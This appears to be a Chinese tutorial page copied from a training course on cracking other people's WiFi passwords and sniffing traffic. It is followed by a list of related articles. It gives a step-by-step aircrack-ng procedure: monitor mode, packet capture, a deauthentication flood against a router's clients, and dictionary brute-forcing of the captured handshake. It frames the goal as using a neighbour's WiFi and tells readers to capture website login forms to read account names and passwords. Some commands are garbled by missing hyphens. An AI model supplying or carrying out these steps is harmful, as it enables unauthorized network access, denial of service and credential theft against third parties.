WIFI密码破解与网络数据抓包

(摘自传智播客C++学院)

课程知识点
1. Wifi密码破解原理剖析
2. 网络数据抓包与分析
3. 路由器攻击,瘫痪网络
4. 随心所欲,开发定制密码字典
5. 枚举字典,暴力破解
6. 轻松使用”隔壁老王“的wifi

一、Wireshark:网络数据抓包与分析

Wireshark是一个非常好用的抓包工具,当我们遇到一些和网络相关的问题时,可以通过这个工具进行分析,不过要说明的是,这只是一个工具,用法是非常灵活的。

wireshark下载地址
https://www.wireshark.org/download.html

1、选取网卡

wireshark左上角,查找list那个钮。

2、设置抓包过滤器(CaptureFilters

语法: Protocol $ Direction $ Host(s) $ Value $ Logical Operations $ Other expression
例子: ip src host 192.168.1.100
tcp dst port 8080
  • Protocol(协议)
    可能的值: ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp.
    如果没有特别指明是什么协议,则默认使用所有支持的协议。

  • Direction(方向)
    可能的值: src, dst, src and dst, src or dst

  • Host(s)
    可能的值: net, port, host, portrange.
    如果没有指定此值,则默认使用”host”关键字。 例如,”src 10.1.1.1″与”src host 10.1.1.1″相同。

  • Logical Operations(逻辑运算)
    可能的值:not, and, or.
    否(“not”)具有最高的优先级。或(“or”)和与(“and”)具有相同的优先级,运算时从左至右进行。 例如:

    “not tcp port 3128 and tcp port 23″与”(not tcp port 3128) and tcp port 23″相同。
    “not tcp port 3128 and tcp port 23″与”not (tcp port 3128 and tcp port 23)”不同。
    

3、设置显示过滤器(DisplayFilters)

    语法: Protocol.String1.String2 $ Comparison operator $ Value $ Logical Operations $ Other expression例子: ip.src==192.168.1.100 (显示来源为192.192.168.1.100的包)

tcp.port==80

4、网络封包分析

捕获登陆某网站的表单,分析其账号和密码。

二、Wifi密码破解原理剖析

三、Aircrackng

1、下载

http://www.aircrackng.org/
http://www.aircrackng.org/downloads.html
wget http://download.aircrackng.org/aircrackng1.2rc2.tar.gz

2、安装

sudo aptget install buildessential libssldev pkgconfig
libnl3dev libnlgenl3dev
tar zxvf aircrackng1.2rc2.tar.gz
cd aircrackng1.2rc2
make
sudo make install

四、WiFi密码破解

1. 查看本机电脑无线网卡
iwconfig 或者 ifconfig

2. 激活网卡到monitor模式,得到监控模式下的设备名为wlan0mon
sudo airmon-ng start wlan0

3. 探测无线网络,选取破解路由器对象
sudo airodump-ng wlan0mon

4. 设定监控频道,抓取被选定路由器的数据包,始终运行
sudo airodump-ng –ivs -w linuxcpp -c 6 wlan0mon
捕获的包存入linuxcp-0x.ivs 文件。x为序号

5. 新开终端,发起Deauth攻击,迫使客户端重新链接路由器
sudo aireplay-ng -0 1 -a 路由器MAC h 合法链接客户端MAC wlan0mon

De-Authentication DoS 去验证洪水攻击,国际上称之为De-authentication Flood Attack,全称即去身份验证洪水攻击或去验证阻断洪水攻击,通常被简称为Deauth攻击,是无线网络拒绝服务攻击的一种形式,它旨在通过欺骗从AP到客户端单播地址的去身份验证帧来将客户端转为未关联的/未认证的状态。

如果Deauth攻击成功,airodump-ng捕获handshake ,此时可以ctrl+c终止airodump-ng抓包。

6. aircrack-ng穷举字典,暴力破解
sudo aircrack-ng -w dic linuxcpp-01.ivs
破解成功与否取决与字典是否涵盖全面,破解速度取决于硬件计算性能和字典优化


字典开发 (网络上有,或自己生成)

WIFI密码破解与网络数据抓包相关推荐

  1. iphone实用配置工具_Debookee for Mac(网络数据抓包及分析工具)

    Debookee for Mac(网络数据抓包及分析工具)​www.macw.com Debookee Mac破解版是MacOS上的一款非常不错的抓包软件,Debookee Mac破解版能够进行网络流 ...

  2. Android网络数据抓包方法

    Android利用Fiddler进行网络数据抓包 Android利用tcpdump和wireshark抓取网络数据包 Android抓包方法(一)之Fiddler代理 Android抓包方法(二)之T ...

  3. 关于fi dd ler 手机抓包 网卡地址地址_一篇不错的网络数据抓包

    一,网络抓包 Android 手机抓包  adb shell tcpdump -p -vv -s 0 -w /sdcard/capture.pcap adb pull /sdcard/capture. ...

  4. 一篇不错的网络数据抓包

    一,网络抓包 Android 手机抓包  adb shell tcpdump -p -vv -s 0 -w /sdcard/capture.pcap adb pull /sdcard/capture. ...

  5. 网络数据抓包 整理总结

    在开发过程中,我们经常会碰到需要抓取网络接口请求数据来进行调试或者接口对接的情况,有时候某些金融行业的前端或者APP过检也会对APP进行抓包分析,所以在这里简单做一下整理,方便日后复习. 一.常用的抓 ...

  6. 【天融信TOS防火墙故障排除及定位方法】网络数据抓包~温权~

    文章目录 一. TOS设备抓包命令以及注意事项: 二. wireshark的抓包方法以及数据过滤 三.典型故障抓包技巧 一. TOS设备抓包命令以及注意事项: NAT源地址转换抓目的地址,目的地址转换 ...

  7. 用Fiddler进行APP数据抓包

    我是无线业务-何小伟,欢迎您看见这一篇文章.这里主要介绍使用Fiddler对Android及IPhone手机上如何进行网络数据抓包,比如我们想抓某个应用(手机京东,京东金融,京东钱包)的网络通信请求就 ...

  8. Wireshark数据抓包教程之Wireshark的基础知识

    Wireshark数据抓包教程之Wireshark的基础知识 Wireshark的基础知识 在这个网络信息时代里,计算机安全始终是一个让人揪心的问题,网络安全则有过之而无不及.Wireshark作为国 ...

  9. Fiddler对手机或模拟器的网络请求抓包

    看了多篇博客,受益匪浅!在这里做一个总结. 如题,这里把问题做一个大的划分: Fiddler对Android手机网络请求抓包 Fiddler对Android模拟器网络请求抓包 Fiddler对Http ...

  10. Wifi密码破解与局域网抓包监听(小白--纯工具版)

    使用的自家设备仅作测试和技术讨论! 工具介绍:(本身电脑自带了WIN7和Ubuntu双系统) 1,wifi密码破解: CDlinux.iso  :一个Linux系统,集成了wifi密码的PIN码破解软 ...

最新文章

  1. office2003计算机考试,计算机考试Office2003应用.doc
  2. 启动器中图标的默认路径
  3. Openjudge-计算概论(A)-计算三角形面积
  4. SQLi LABS Less-6 报错注入+布尔盲注
  5. keras文件存放的目录
  6. 浙江财经大学java试卷,关于提交2020-2021-1学期课程考核试卷的通知
  7. 每天CookBook之Python-003
  8. RabbitMQ消息队列入门篇(环境配置+Java实例+基础概念)
  9. 二叉树前序、中序、后序遍历(八)
  10. 转载——巨详细的MD5加盐,大佬详解
  11. Python 中的关键字with详解
  12. Spring使用纯注解配置事务管理并实现简单的增删查改以及模拟转账功能
  13. 程序员圈“内卷”这么严重,如何才能更进一步,实现个人价值?
  14. JS中RHS引用和LHS引用的区别
  15. 无忧启动E源码 仿音速启动
  16. gmod服务器文件,Garry’s Mod|Gmod服务器架设教程(四)挂载创意工坊插件
  17. 【高速接口-RapidIO】2、RapidIO串行物理层的包与控制符号
  18. 企业员工信息管理系统源码+ppt+论文+中期检查表+sql
  19. 用python绘制漂亮的图形
  20. 【软件工程大作业】软件项目管理之人员管理

热门文章

  1. c语言图书管理实验报告,图书管理系统c语言程序设计实验报告
  2. 微信小程序最基本代码入门
  3. Thinking in Java读书笔记
  4. JSP编程,url中加斜杠和不加斜杠的区别
  5. ajax 上传文件实例,Ajax 之文件上传
  6. IPSecNAT穿越实验配置
  7. VMD变分模态分解代码,C++代码下载
  8. matlab的图像滤波,Matlab实现图像滤波
  9. 用任何依赖中转服务器的远控软件,打造一款属于自己的远程控制软件(一)
  10. 2022网络工程师必看好书(最新整理,附PDF下载)